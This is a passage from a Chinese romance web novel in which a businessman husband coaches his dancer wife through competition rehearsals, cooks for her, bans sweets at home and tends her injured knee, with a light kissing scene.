黎晚棠被他这话堵得脸涨红,却又不得不遵守,在她同意戴上运动手表的那一刻,就代表她认可并接受这个游戏规则。 见女孩依依不舍脱掉舞鞋,傅砚深也知道她对这次比赛的重视,沉默了会儿,又道:“明天你们的彩排时间是几点?” 黎晚棠回头看他,疑惑道:“干嘛?” “几点?”傅砚深又问。 黎晚棠不耐烦地撇嘴:“下午二点开始。” “行,今天先好好休息,明早起来,我陪你练。” 傅砚深抬手拽下领带,准备转身回卧室去换衣服。 黎晚棠不理解他说的陪练是什么意思,忙喊道:“你……陪练?” “嗯,晚点我会定制一份排练计划,在不耽误你比赛的情况下,还能保护你的膝盖。” 黎晚棠诧异起身:“什么排练计划?” 傅砚深没细说:“我先做出来,明天检验结果。” 看着他离开的背影,黎晚棠对着镜子随意扭动一组舞姿,静静盯着看了几秒,忽而笑了出来。 她倒是要看看,傅砚深到底想怎么玩。 第19章 最后,黎晚棠还是乖乖回房去洗澡,从浴室出来,发现傅砚深还在书房。 想到他有可能是在准备训练计划,她扯唇轻笑:“够认真的。” 黎晚棠来到厨房,想随便搞点吃的填饱肚皮,余光忽而瞥见中岛台上,那盘拌好的水果蔬菜沙拉。 傅砚深平时不会吃这样的食物,很可能是给自己的,黎晚棠也没客气,拿上叉子开吃。 味道出乎意料地好,看来傅砚深在做饭上是真有天赋,估计沙拉教程也是刚从网上学的。 黎晚棠不是那种没良心的人,搬进来的这段时间,傅砚深对她确实还不错,除了做事和说话行为有点因循守旧,生活上倒是蛮照顾她的。 这般想着,回礼这事,她更认真对待起来。 吃完沙拉,黎晚棠起身去阳台散了会儿步,回到卧室没多久,傅砚深也推门走了进来。 两人对视一眼,她先开口:“中岛台上的沙拉我吃了,味道不错,谢谢。” “喜欢就好。”傅砚深收回视线,径直去了衣帽间。 推开柜门,他刚要抬手去拿睡衣时,余光不经意瞥了眼黎晚棠那头凌乱的衣服,沉默了一会儿,他挪步走了过去。 根据衣服长短,整齐排列,而后按照颜色深浅重新挂好,等做完这些,他才转身拿过自己的睡衣。 见人出来,黎晚棠抬眸瞥了眼,心想他这次拿衣服怎么那么久。 直到浴室有水声响起,她注意力才继续放在某网的APP页面上,希望在闲逛中发现什么有用的礼物。 兴许是她看得太入迷,床边突然陷下去一块,让她猛然偏头,发现傅砚深已经洗完澡回来了。 他刚吹干的头发蓬松柔软,几缕碎发从额头垂下,显得有几分随意感,而他难以忽视的高鼻梁却依旧那么醒目。 察觉傅砚深的目光落在自己手机上,黎晚棠愣了下,最后直接就把屏幕挪了过去:“我在挑剃须刀,你看有喜欢的款式吗?” 看到剃须刀她才想起来,男士每天都能用到,而且她在洗漱台上看过傅砚深的剃须刀,是一款国内知名的老品牌,从磨损来看,应该用了有些年头。 所以她眼眸一转,有了给傅砚深送剃须刀的想法。 认为实用且合适。 傅砚深随意瞥了眼,掀眸看她:“给我看的?” 语气带着些许不可思议。 黎晚棠点头:“对呀,你不是送我手表了嘛,我也想送给你一个礼物,这叫礼尚往来。” 礼尚往来? 这个词用在夫妻身上显得生分,也像隔着层不近不远的距离,傅砚深黑眸微垂,抬手把鼻梁上的眼镜取了下来:“不用,我目前用得挺好。” 黎晚棠笑容微收,默默把手机拿了过来:“那你喜欢什么?” “我给你手表不是想要你的回礼,所以你不用费尽心思去找什么礼物。” 傅砚深掀开被子躺了下去,语气平静:“而且我也不缺。” “这个我知道啊,所以才问你喜欢什么。” 黎晚棠这一刻还执着上了,非要问出个结果才行:“你就随便说一个嘛,我好有个方向。” “说了我不缺。”傅砚深再次拒绝。 “非要缺什么才买嘛,只要你喜欢就行,好东西多几个也不嫌多。” 黎晚棠又把之前觉得不错的图片打开,倾过身递到他跟前:“你看看,这些款式里面有喜欢吗?” 没了鼻梁上的眼镜,傅砚深对于手机上的图片看得不太清晰,反倒是靠过来的人,不管是她身上的味道,还是那张开开合合的小嘴,能极其清晰在他眼前晃动。 傅砚深沉默了下,问:“什么都可以吗?” “嗯,价格在我能力范围内的,都行。” 吃了他那份水果蔬菜沙拉后,黎晚棠已经不在意价格的平等性,只要在她能接受的范围就行。 “好,其他的我不需要。” 傅砚深说完这句,反手抽掉她掌心的手机,另只手蓦地扣住她后脑,用力压向自己,偏头亲了上去:“我要的,只是一个吻。” 手机不翼而飞,身体也被一股力量拉近,胸前的柔软能明显感受到,身前的那个胸膛,坚实而又灼热。 特别像冬日里滚烫的火炉,只需稍稍靠近,就有暖融融地温度传递过来。 黎晚棠还没反应过来,傅砚深前面说的那句话的意思,唇上就有温柔袭来,瞬间堵住她所有疑惑。 同时,她腰间被一只有力的大手环住,男人只稍稍用力,两人相贴的姿势变成了侧躺。 现在不只身体紧贴在一起,唇瓣也是。 他刚洗过澡的香味飘入鼻尖,黎晚棠从最初的茫然,逐渐沉迷,挤压在胸前的双手,艰难抬起,而后勾住男人的脖子,更方便把自己的唇送了上去。 她不否认,对于傅砚深的亲吻她一点也不抗拒,反而他这方面的强势,让她内心更加兴奋。 此刻的他,像个熟练的掌舵者,一点点引领着她,让她变得更加疯狂忘我。 就好比现在,男人循着她的唇瓣细细描绘,吮吸间悄无声息探入她齿关,勾住她的舌深吻了起来,炽热且缠绵。 她不得不承认,傅砚深学艺精湛,从生涩到游刃有余,仅仅几次的经验就能很好的把控住节奏。 黎晚棠被他吻得全身发麻,脑袋也晕乎乎的,只能条件反射般勾紧他脖子,动情回吻。 在摸索的路上,两人吻得越来越契合。 接近缺氧到要昏厥时,傅砚深很有分寸地松开她,让她焦渴地呼吸几口气后,再次吻了上来。 只是这次在她唇上停留的时间不久,很快就侧移落在她耳边,酥酥麻麻的温热气息入耳,以及湿润的触感让黎晚棠忽而仰头。 从未有过的体验,难以控制的呜咽声从她嘴里溢出,她似乎很惊讶自己会发出这样的声音,羞涩地闭上嘴。 察觉男人还有继续往下的念头,她忙别过头,及时推开他:“傅砚深,我…我还没做好准备。” 黎晚棠知道这个吻继续往下会代表什么,接吻她能毫不犹豫亲上去,但要突破哪里,还是会有些紧张和无措。 毕竟坚守了二十四年的东西,没那么容易卸下心防。 傅砚深眼眸忽怔,顿时被她这句话点醒,实在没想到简单的亲吻会发展成这样。 他缓缓闭上眼,圈住她腰间的手逐渐收紧,有些难耐般埋进她脖颈,用力呼吸她身上的味道,想借此来缓解身体那股躁动。 黎晚棠感觉到他的克制,不敢乱动,一张爆红的脸抵在男人肩头,趁机小口呼吸着。 好半晌,男人才松开她,而后侧身下床,依旧没让她看到他的狼狈。 盯着男人消失在卧室的背影,黎晚棠侧身大咧咧地躺在床上,望着头顶那盏灯,心脏的位置还扑通扑通跳个不停。 感觉两人今晚吻得都有点失控,她自己身体出现了生理反应,也没好到哪里去。 察觉自己会有这样的反应,黎晚棠羞涩地拉过被子盖住脸,滚回自己的位置上。 天啊!! 今晚这个情况,让她猛然发现一个惊人的秘密,原来她骨子里竟是个X欲很强的人。 换句话就是说,她是个色女! 对自己突然有了更清晰的认知,黎晚棠这会儿不敢直面傅砚深,只好开始装睡。 可装着装着就睡着了,只是在彻底睡过去前,嘴里嘟囔着:“回礼的事就算扯平了,傅砚深说的,他只要一个吻。” 这个吻她已经给他了- 次日一早,两人同时被闹钟叫醒。 黎晚棠朦胧睁眼,侧头看见傅砚深抬手关掉闹钟,回神后,双脚在被子绷直。 简单拉扯完成,她掀开被子下床。 洗漱完毕,黎晚棠前脚刚迈进舞蹈房,傅砚深后脚就跟了进来,手里还拿着本厚厚的文件资料。 应该是他说的训练计划书。 黎晚棠边扎头发边回头看他,用眼神示意:“已经完成了?” “嗯,你可以先看看排练内容。”傅砚深走上前,把计划书递给她。 黎晚棠抬眸看他一眼,低头接过他手里的计划书,翻开首页。 上面详细记录了一天的运动量,以及日常训练,如热身、柔韧性练习、基本功、力量训练、编舞片段练习等。 而且时长都在后面详细地标注出来。 黎晚棠望着堪比教科书还精细的训练内容,诧异的同时还有些佩服。 如果傅砚深没做大量地查阅资料,他不会懂那么多舞蹈细节,更写不出如此精细的计划书。 低头大概翻阅了一遍,黎晚棠仰头晃了晃手里的计划书:“所以,你会根据上面的训练内容,一直监督我到比赛?” “不是监督,而是引导。”傅砚深严肃纠正。 听到“引导”两字,黎晚棠瞬间想到昨晚两人接吻的画面,明明从最开始是她教他如何接吻的,现在他变成了那个引导者。 她轻咳两声,垂头没去看他,转身时,顺势把计划书还给他:“……哦,那我们现在开始吧。” 傅砚深侧身站在一旁,说话口吻有点像他们指导老师:“热身训练正常是十五到二十分钟,由于你膝盖还在恢复期,我们就以最低标准执行。” 黎晚棠弯腰做跨步压腿,偏头看他:“你是打算一直站在这里,亲自看我完成每一个动作?” 傅砚深挑眉:“有问题?” 黎晚棠笑了笑:“没,只要你不嫌弃累,随便。” 以往指导老师都是坐着的,看谁训练不到位,才起身上前帮忙指导,或趁你不注意,从后用力压一把。 沈老师就经常干这样的事。 傅砚深既然想站,她可不会出声解释,反倒想看他能不能站完全程。 晨练的一套动作下来,已经是一个半小时后,中途傅砚深会喊停,强制要她休息,时间到再继续,就这般周而复始。 傅砚深看了眼腕表,似乎很满足今天的结果:“以后每天早上,我会陪你一起晨练,舞蹈的片段练习,你在舞团的时候也要控制好时间,搭配运动手表上的提示,达到安全训练。” 黎晚棠轻喘着呼吸看着他,抬手擦额头汗:“你每天都陪我练,那你自己的运动呢?” 傅砚深有晨间运动,她搬进来的第一天就知道。 “我会改成晚上。” 傅砚深合上手里的计划书,侧身放在角落的柜子:“直到你比赛之前,我的时间都以你为主。” 说着,他把提前准备好的温水递给她:“喝点水,等心跳平复,你再去洗澡。” 黎晚棠愣怔接过他递过来的水杯,双手捧着喝水时,瞥了眼走出舞蹈房的男人,心底划过一抹不知名的情绪。 傅砚深对待所有事情,都这么上心吗。 还是因为她是他老婆。 黎晚棠没细想,喝完水便返回卧室,拿上衣服去洗澡。 到舞团,她乖乖按照傅砚深计划书里的内容训练,倒不是因为他早上说的那番话,而是他合理安排的休息时间,确实对她很有帮助。 他应该是特意研究过,人在剧烈运动后,需要在那个时间段休息,并做些什么。 早上她没发表任何意见,内心是认同的,排练时间虽然拉长了很多,但整场下来,她膝盖没有任何不适感,身体也很轻松。 实践证明,他这套训练计划书是有用的。 白露晞见黎晚棠跳完一个连贯动作,就会停下来休息一会儿,然后又接着跳,到最后跟着音乐跳完整段舞蹈,动作收尾特别漂亮。 黎晚棠结束后,白露晞拿着一瓶水走了过去:“你刚才的节奏很好,每个动作都很稳,我都看入神了。” “真有这么好?” 黎晚棠挑眉接过她递过来的水,拿上包包,跟她一起出了排练厅。 “当然是真的。”白露晞挽着她胳膊,凑到她耳边低语:“不过我过来找你的时候看见温若棠了,她和罗恩跳的那支舞也不错。” 第二次听到有人夸温若棠跳得不错,黎晚棠那点好奇心被高高挂起,开始期待下午的彩排。 彩排虽然不是封闭式的,但除了内部参赛人员,不对外开放。 黎晚棠彩排时间正好是在中间,彩排老师喊到她的曲目时,她停在侧台深吸一口气,而后笑容满面地走上舞台。 弯腰朝音乐和灯光老师点了下头,开始进入状态。 苏清赶过来时,恰好看完黎晚棠跳完这支舞,见她下场,笑着走上前:“嗯,很不错,我有预感你会拿奖。” 黎晚棠弯唇笑了下:“团长,还没正式比赛你就把话说满了,如果我没拿奖,哪好意思见您啊。” “自信点,相信你的实力,也要信我看人的眼光。” 两人没聊几句,下一个彩排的音乐声响起,正是温若棠和罗恩的节目。 黎晚棠想转身的步伐停了下来,苏清看了眼她,笑着拍了拍她的肩:“算是你唯一的竞争对手,留下来看看吧。” 黎晚棠没客气,而且也正有此意。 音乐和灯光调好,彩排老师比划一个OK,舞蹈上的两人翩翩起舞,动作非常默契。 能看得出来他们平时排练的时间不少,每个动作配合的很唯美。 “他们这组表演确实不错,加上有罗恩这个首席舞者在这,真的很加分。” 苏清回头看她,低声叮嘱:“这次比赛会同时开启线上直播,观看的人不仅仅是台下的观众,还有直播间的网友,所以中间不能出一点岔子,特别是你跳独舞的,要完美把控好每个动作,确保呈现出最好的舞台效果。” 黎晚棠点头,出了彩排大厅,在转弯的位置,正好碰到出来的罗恩和温若棠。 “晚棠,你的彩排我看了,你这段身韵跳得真的很棒,编排很有创意。”罗恩笑着夸奖。 “谢谢师哥。”黎晚棠露出标志性的微笑,余光瞥了眼不说话的温若棠:“你们配合得也很好,团长说不错。” 听到这话,温若棠嘴角很轻的勾了下:“听说你膝盖旧伤复发了,希望别影响这次比赛。” 她上前两步,学她以往的语气:“我还想光明正大地赢你呢。” 三人擦肩而过,黎晚棠站在原地沉默了几秒,忽而气笑了。 恰好这时,她掌心里的手机震了起来,以为是沈老师打过来询问彩排情况,看到是傅砚深,她缓缓接通:“喂,有事?” 平淡的语气下,细听还藏了几分诧异。 傅砚深顿了下,出声:“彩排还顺利吗?” 黎晚棠垂睫,抬步继续往前走:“嗯,目前挺顺利的。” 虽然不在意温若棠那番挑衅的话,但她说膝盖旧伤会影响这次比赛,这句戳她心坎了。 还有两天就正式比赛,她膝盖能不能坚持到最后不复发,连她自己都不敢保证。 “彩排完,还有别的事吗?”傅砚深问。 黎晚棠进入休息室,打开柜子准备换衣服,听见他这么问,愣了下:“……没了,怎么了?” “我在你们舞团门口,收拾好再出来,不着急。” 傅砚深见人不出声,低声道:“我会等你。” 第20章 下午他刚参加完一场重要的收购案,收购项目谈成,双方负责人后续约了饭局。 傅砚深想到黎晚棠今日有彩排,找个借口离开,让萧仲代陪。 本来是想接她回家,但听出女孩不太高涨的语气,隔着屏幕都感觉到她的低落。 不是彩排的事,他猜想是膝盖旧伤,让她有了顾虑。 再或者,对于这次比赛她期望太高,心生紧张。 黎晚棠问他是否有事,他没说话,选择默认。 黎晚棠也有些意外,这个点根本没到傅砚深的下班时间,他这么着急过来找她会有什么事。 他虽说让自己慢慢来,但要一个时间观念极强的人等她,黎晚棠做不到那么淡定。 换上衣服,她拿上背包就往门外走,只是出门前匆忙往嘴里塞了颗紫色黑加仑。 走到门口,嘴里的糖正好吃完。 不用特意去寻找,黎晚棠一眼就看见,笔直站在花坛旁边的傅砚深,好像他每次过来找她,都会站在那个位置。 男人一身黑色西装,依旧是干净利落的精英做派,衬衣顶端系了条暗花纹领带,夕阳从他身后落下,侧影看着像从漫画中走出来的男主。 金边眼镜下的那双黑眸,触及到她的出现,抬眸看了过来时,神情平静自若,深邃的轮廓清俊冷淡。 黎晚棠与他对视一眼,忽而垂下眸,抬脚走了过去。 这一幕让她骤然想起,他这两次亲吻失控的画面,脑子里莫名冒出两个词。 道貌岸然,虚有其表。 她淡然地走上前,仰头问他:“你这个点过来,是有什么事吗?” 傅砚深垂眸扫了眼她肩上的背包,伸出右手,不由分说地拿了过来:“先上车。” 肩头忽然一轻,黎晚棠反应过来,人已转身走了。 她不解皱眉,快步跟了上去:“你什么时候喜欢打哑谜了?” 以往他做什么都是直来直往,只要你问,下一秒他保证回答得清清楚楚,明明白白。 今日这是怎么了,还玩神秘? “不是哑谜。” 傅砚深回头看她一眼,实话实说:“是因为我还没确定。” 到目前为止,他还想不到用什么方式,能让她减压。 直到他们来到停车场,系上安全带,傅砚深脑中骤然有了想法,但黎晚棠却没继续追着问,他也就没主动再聊这个问题。 上车后,黎晚棠就偏头靠向椅背,漫不经心盯着窗外的街景发呆,她指尖轻捏着兜里那颗软糖,犹豫着要不再吃一颗。 一颗并不解馋,烦闷的心情似乎没有好转。 待车子在红绿灯前停下,黎晚棠后背与椅背紧贴了下,突然地惊醒,像是得到某种提示,她再也忍不住,从兜里拿出那颗软糖。 窸窸窣窣的糖纸声,在静谧的车厢内格外清晰。 傅砚深顺势偏头,就看见往嘴里塞糖的黎晚棠。 紫色的,类似葡萄的形状。 黎晚棠心满意足地咀嚼着,忽而察觉有道极强的目光,正直勾勾地注视着她。 她吃糖的动作微顿,缓慢偏头,恰好与傅砚深那双黑眸对视上。 见他正盯着自己嘴里的糖看,黎晚棠忽然想到什么,快速嚼完咽下:“就一颗,没有了。” 不是她小气,而是出来她就带了两颗。 傅砚深平静收回视线,半晌,低声跟她科普:“彩色糖果里不仅有色素,还含有多余的糖分,而糖分会转化为脂肪,从而导致体重增加,对于你们舞者来说,甜的零食并不是什么健康食品。” “长期食用甜食,还能引发多种疾病,糖尿病就是我们生活中最常见的一种。” 黎晚棠:“……” 原来他不是想吃糖,而是想跟她科普吃糖的危害。 看吧,现在连吃糖他都要管了。 黎晚棠咂巴两下嘴里的甜味,扭头定定地望着他:“你小时候是不是没吃过辣条?” 这样比喻他应该就能懂,大家都说辣条不干净,但吃的人却不见减少。 傅砚深表情微愣,下意识问:“什么是辣条?” “?” 黎晚棠嘴角轻扯:“你连辣条是什么都不知道,那就更不懂吃甜食的快乐了。” 三岁一代沟,而他们已经跨出了一个世纪,完全没有共同语言。 她别过头,不打算继续聊这个话题。 红灯亮起,傅砚深看了眼扭头不说话的人,把嘴里话咽了回去,先认真开车。 黎晚棠盯着越来越熟悉的街景,忽而回头看他:“怎么来这里了?” 这是她小时候的舞蹈房,上次订婚才来过。 “先下车。” 傅砚深看她一眼,解开安全带,推门先走了下去。 黎晚棠忙不迭下车跟上,就见他熟门熟路从花盆底部拿出大门钥匙,顺利推开院门走了进去。 因为这里承载她太多儿时记忆,黎智海舍不得让人拆,索性就把这个院子买下来了。 钥匙就一直放在大门口的花盆下。 现在看到傅砚深这番操作,黎晚棠直接傻眼。 他什么时候知道她那么多秘密的? 她快走两步追了上去,仰头询问:“钥匙的事,也是沈老师跟你说的?” 上次在这里找到她,傅砚深说是沈老师告知的。 “算是吧。” 傅砚深继续推开舞蹈室的房门,抬手将屋内灯光全部打开后,转身看她:“在这里,你想跳什么舞种尽管跳,就算把所有音响设备全打开,也不存在扰民。” 黎晚棠轻眨着眼睫望着他,脑子更懵了,她心情不好或者压力过大的时候,就喜欢跑到这里跳舞释放情绪。 这个秘密除了叶知薇,没人知道,沈老师也只清楚她喜欢来这里,却并不知道她是心情不好。 所以,是因为上次订婚,傅砚深发现了她这个秘密? 黎晚棠动了动唇,试探问:“……你怎么知道?” “如果我是一名舞者,舒缓情绪的方式也会选择这种。” 酣畅淋漓地跳一场,这就是傅砚深想到的,既能解压又能释放情绪的办法。 而且他上次就在这里,亲眼见她跳过。 黎晚棠静静望着眼前的男人,垂在腿边的手指微微蜷起。他不仅看出她有心事,甚至猜中了她的担忧。 她不禁去想,年龄大的男人,洞察力是不是都那么强。 沉默了好一会儿,黎晚棠忽而笑了:“允许我如此放纵,就不担心我膝盖会疼?” “有时间限制,你只有半个小时。”傅砚深打算把空间留给她,低头看了眼腕表:“半个小时后,我会准时进来叫你。” 黎晚棠扬起的嘴角忽而消失:“半个小时根本不够!” 至少要一小时才能暴汗,累瘫在地板上,才能达到解压的效果。 傅砚深面无表情盯着腕表转动的时针,此刻像教导处主任,正严肃提醒迟到的学生:“你还剩下二十九分钟。” “你——” 黎晚棠气极咬唇,在他踏出房门的那一瞬,砰地把门关上,而后快速转身跑去打开所有音响设备。 下一秒,震耳欲聋地音乐声响起。 脱掉鞋子,黎晚棠光着脚丫踩在地板上,这会儿没讲究任何节奏,只凭心情跳了支不擅长的探戈。 似乎只有这样的舞步,才能表达她此刻的心情。 守在门外的傅砚深,听到振聋发聩的音乐声响传出,他抬手揉一揉耳廓,想到女孩是故意针对自己,无奈地扯了下嘴角。 她不高兴怼人的方式,还跟小时候一样。 直接明了。 半个小时后,傅砚深准时敲门进入,而黎晚棠在他推门走进的那一瞬,就已经精疲力尽躺在地板上。 她双目盯着天花板,大口大口呼吸着,眉眼间流淌的汗水划过脸颊,最后隐没在发丝间。 傅砚深快步上前,弯腰朝她伸手:“地上凉,你刚出汗容易感冒。” 老父亲的口吻在头顶响起,黎晚棠望着那张严肃且又俊朗的面容,忽而弯唇笑了起来:“傅砚深,你真像我爸。” 黎智海每次见她跳完舞躺在地板上,也爱这么说。 傅砚深指尖微顿,看向她的目光意味不明,最后忍不住问:“你觉得我老?” “……” 黎晚棠反应过来后,没忍住噗嗤笑了起来,而后伸手握住他的大掌,借力站起身:“完了,我俩真有代沟。” 她弯腰拿过一旁的背包,从包里翻出一瓶水,仰头猛喝了几口,侧头见人还站在原地。 他漆黑的眉眼微微拧起,似乎还在思考她刚才那句话。 黎晚棠低头轻笑:“我说你像我爸跟年龄无关,我指的是你说话口吻,以及行事风格。” 她将背包挎在肩头,转身走了两步,又回头看他,脸上仍带着淡淡的浅笑:“不过,还是要谢谢你。” 本以为半个小时不够,现在看来,释放的效果刚刚好- 回到家,傅砚深先叮嘱她回房洗澡。 黎晚棠瞥了眼往厨房走的男人,清楚他这是开始要做晚餐了。 她以前对吃饭没什么期待感,因为吃的食物太单一,与其说是吃饭,不如说是在喂某种食草动物。 但自从吃过傅砚深做的饭菜,她竟有了期待,会去想今日他又能给她什么惊喜。 心情在这一刻忽而变得晴朗,黎晚棠哼着小调,迈着探戈的小步伐进入衣帽间。 打开柜门,看着被整齐分类挂好的衣服,一目了然,就像进入某家高档服装店。 最开始黎晚棠还会耐心挂好,后面发现傅砚深会偷偷帮她整理,索性放飞自我。 反正他看不顺眼会帮她整理。 美好的事物真会让人赏心悦目,她好像慢慢能理解,傅砚深的洁癖和强迫症。 像他们每天累趴回到家,看着干净整洁的屋子,整个人确实会感觉很轻松。 洗完澡出来,厨房已经飘出阵阵香味。 “你做什么好吃的了?”黎晚棠小跑上前,看到餐桌上摆放的食物,下意识咽了咽口水。 超有食欲的紫菜虾仁蛋花汤,藜麦饭配胡萝卜炒牛肉,白灼虾,外加一份水煮菠菜。 剩下的牛排意面应该是傅砚深自己想吃的食物。 黎晚棠拉开椅子刚坐下,傅砚深就把碗筷摆放在她面前,她笑着说了句谢谢。 她吃了口菜,问他:“冰箱里每天都有新鲜食材,是有阿姨定时送过来吗?” 她想应该是傅家老宅那边,定期有阿姨过来打扫卫生,以及往冰箱添加新鲜的蔬菜水果。 不然他那么忙,哪有时间准备这些。 傅砚深点头:“嗯,我们出门后,会有阿姨过来打扫。” 黎晚棠挑了挑眉,果然跟她猜想的差不多:“难怪家里这么干净。” 就算傅砚深有重度洁癖,也没时间打扫那么大一间房子。 傅砚深瞥了眼正低头吃饭的女孩,沉默了会儿,侧身拿过凳子上那盒巧克力:“这是你的?” 黎晚棠闻声抬头,看到他手里拿着的巧克力,忙咽下嘴里的饭菜:“对对对,我的。” 这几天太忙,她都忘记吃了。 说着,黎晚棠伸手就要去拿,可指尖还没触碰到盒子边缘,就被傅砚深及时避开。 她眉头微拧,预感不好:“你…这是什么意思?” 傅砚深又把那盒巧克力放回凳子上,严肃道:“我在车上说了,吃甜食对身体不好,巧克力更需要重视。” “巧克力脂肪含量高,消化速度慢,若是空腹食用还会导致胃胀,腹酸,严重会造成胃食管反流。” 傅砚深低头拿起刀叉,准备吃饭,语气不容置疑:“以后家里不允许出现甜食,这样对你我健康都好。” “……” 黎晚棠瞬间觉得嘴里的饭菜不香了,放下筷子,就开始反驳:“傅砚深,你不喜欢吃甜食,也不能干涉我的喜好吧,这点我不同意!” 如果不能吃甜食,生活还剩下什么乐趣。 她不能跟自己的胃过不去。 “黎晚棠,我有责任和义务对你的身体健康负责。” 傅砚深抬头看着她,在吃甜食这个问题上,他态度坚决强硬,没任何退让的余地。 知道不能把女孩逼急了,他又适当改口:“以后我会用种类丰富的晚餐,来满足你的胃。” 她吃甜食的瘾,他可以用美食来替代。 而且还是低脂、健康、营养的食物。 黎晚棠余光瞥了眼桌上这些美食,抿了抿唇,默默把话咽了回去:“行,不吃就不吃。” 在家不能吃,舞团里他可就管不着了。 这么想着,黎晚棠又弯唇笑了,拿起筷子继续开吃。 傅砚深若有所思地看着心情瞬间变化的女孩,余光瞥了眼腕上的手表,还有个隐藏功能他之前还来不及说。 这块手表不仅能监测心率变化,运动频率,还可以设置控糖指数,一旦超标,也会有报警提示。 黎晚棠全然不知这块手表的强大功能,晚餐结束,开始舒舒服服地泡脚擦药。 最近她只要泡脚,石头就是自动从充电基站转了过来。 黎晚棠心情很好跟它打招呼:“你好石头,你怎么那么懂事呀。” 石头:“因为有你,让我变得更优秀。” 黎晚棠被石头这话逗笑,忍不住又问:“你好石头,你天天在家都干嘛呢?” 石头边转圈圈边回答:“忙着想你。” 黎晚棠这次笑声更大了,她之前特意上网了解了下,这家伙真能对话聊天,只要问的方式正确,它什么都能回答。 一板一眼地说话方式,就像第二个傅砚深。 傅砚深洗完澡出来,就听到客厅传来轻笑声,其中还夹杂着石头机械化的声音。 一人一机,看似聊上了。 傅砚深踩着拖鞋走了过去,黎晚棠听到声音回头,嘴角笑容还挂在脸上:“我突然发现石头还蛮好玩的。” 傅砚深低头看了眼,正认真工作的石头,轻嗯了声:“需要我帮忙吗?” “帮什么忙?”黎晚棠不懂。 傅砚深目光落在她擦膝盖的手上:“你这样擦药不方便,按摩的手法也不正确。” 黎晚棠垂眸,清楚自己的按摩手法,肯定不如理疗室的工作人员,但一眼就被傅砚深看出不专业,她仰头不服气道:“难道你懂?” “可以试试。” 傅砚深走上前,落坐在她旁边的沙发,而后俯身,探出手背去碰泡桶边缘的温度:“水温凉了,你再泡下去促进不了血液循环,起不到任何作用。” 余光瞥见她准备好了擦脚毛巾,傅砚深稍稍俯身,伸手拿了过来。 黎晚棠看出他的目的,忙出声:“不用你,我自己来——” 只是话还没说完,她泡在水里的双脚已被傅砚深抬起,顺势放在他搭着毛巾的膝盖上。 黎晚棠坐姿瞬间变成了半躺模式,然而搭在他双腿上的脚忽僵,霎时不敢乱动。 仿佛成了两条血液不流通的假肢。 男人慢条斯理擦拭她脚背上的水珠,隔着厚厚的毛巾,黎晚棠仍然能感受到,他指腹传递过来的温度。 等擦拭干净,傅砚深并未松开她的腿,而是拿过药膏,力道不轻不重地帮她按摩膝盖。 黎晚棠原本绷紧的双腿,随着膝盖传递过来的舒适感,逐渐放松。 掌心的温热,以及傅砚深熟练的手法,她恍惚以为自己躺在了理疗室,享受着专业按摩师的服务。 原来他真懂。 她不禁暗暗感叹,难道所有学霸都像傅砚深那样,不管学什么看一眼就会。 做饭是,按摩也是。 或许还有更多她不知道的。 黎晚棠望着那张线条流畅的侧脸,他垂眸时的表情认真专注,目光一直放在她膝盖上,看起来很专业。 她就这般怔怔地望着他,无意识问道:“傅砚深,你怎么什么都会?” 傅砚深闻声偏头,头顶洒下的灯光,让他整张脸浸在柔和的光线里,手上的按摩仍在继续,看她的眼神直白而真诚。 “因为有你,让我变得更优秀。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 20-30 第21章 黎晚棠表情一怔,如果不是先前就听石头说过这句话,她还以为这人是在跟她告白。 盯着他那张认真的黑眸,黎晚棠噗嗤笑道:“你这话刚才石头就说过,不会是你设定的吧?” 她刚搬进来的时候,记得他说过,石头的入侵系统是他设定的。 傅砚深幽深目光在女孩脸上停留了两秒,而后平静移开:“不是,我们只说出了标准答案。” 她和石头的对话他听见了,所以当她问出这个问题时,也认为那句话是最好的答案。 听到他这个回答,黎晚棠满意地勾起嘴角。 市面上有诸多大品牌的扫地机器人,傅砚深为何偏偏选了石头,她好像有些明白。 石头不光名字跟他契合,说话风格也很像。 “明天下午我会出差江城,那边股权融资的事需要我过去处理,两家吃饭会延迟到下周。”傅砚深按摩好右边膝盖,又换到左边。 他顿了下,又道:“你比赛当天,我不一定能赶回来。” “没事啊,比个赛而已,你没必要特意赶回来。” 黎晚棠还挺诧异傅砚深会跟她报备工作行程,两人这样,莫名有点老夫老妻的相处模式。 还有就是,这次比赛她没想过要邀请他。 傅砚深瞥她一眼,主动解释:“你参加比赛长辈们都知道,如果我不去,我妈会是第一个打电话过来骂我的人。” 半躺着不舒服,黎晚棠拿过抱枕刚垫在脑袋下,听到他这话,嘴角含笑地看向他:“宋阿姨也会骂你呀?” 做什么都那么优秀的人,原来也会被家长骂。 傅砚深没觉得这事丢人,坦然道:“嗯,没少骂,很多时候是被我气的。” 两人同居以来,还从未心平气和聊过家里这些事,再者也是不感兴趣,现在听他提起,黎晚棠脑子突然冒出,宋阿姨叉腰指着他骂的画面,莫名觉得好笑。 她笑意微敛,眼底的求知欲却藏着不住:“比如什么事,宋阿姨会骂你啊?” 傅砚深停下手里的动作,偏头正好对上女孩那双水灵灵的大眼睛,纤长的睫毛轻眨着,像只八卦的蝴蝶。 他黑眸低垂,继续手上动作:“在你的事情上。” “……” 吃瓜吃到自己头上,黎晚棠笑容微僵:“有我什么事?” 他们从订婚到领证不挺顺利的嘛,就算起初她不乐意,但也没在傅家人面前表现出来。 所以宋徽音能因为什么事,去骂傅砚深。 “说我性格闷,做事不懂得变通,嘴还笨。” 按摩时间结束,傅砚深轻轻将她双腿放回沙发,起身时,低头看了眼她:“还怕我,把她这个儿媳妇弄丢了。” “……” 黎晚棠眸色愣住,一直都知道宋阿姨喜欢她,但没想到会那么喜欢。 怕弄丢了。 难道他以前是有弄丢过? 黎晚棠没深想,抬脚活动了几下膝盖,撑着沙发垫坐起身。 再次抬头,傅砚深正在厨房洗手,见他仔仔细细清洗每一根手指,绵密的泡沫在指尖来回摩擦着。 知道这人洁癖严重,但他这般龟毛的清洗方式,让人看着心里不舒服。 仿佛沾染了什么有毒细菌,而细菌源是她。 黎晚棠撇嘴,扯着嗓子故意说道:“其实宋阿姨也没说错,你这人性格古板沉闷,是无可争辩的事实。” 这话落下。 傅砚深忽而回头看她:“所以,你当初抗拒这段婚约,其中有一部分原因,是因为我的性格?” 黎晚棠错愕反问:“难道你认为,你性格很好?” 这人真是自我感觉太良好,或许是习惯了优越感的围绕,活到现在都没觉得自己性格有问题。 “没有。”傅砚深转过身继续去洗手,沉默片刻,低声说了句:“我知道了。” 黎晚棠又茫然抬头:“你知道什么?” 傅砚深扭头去看她,脸上表情认真:“我会试着改变目前这种性格。” “……” 她只是随口说了一嘴,这人怎么还认真了? 一板一眼,分分钟就要跟你来真的。 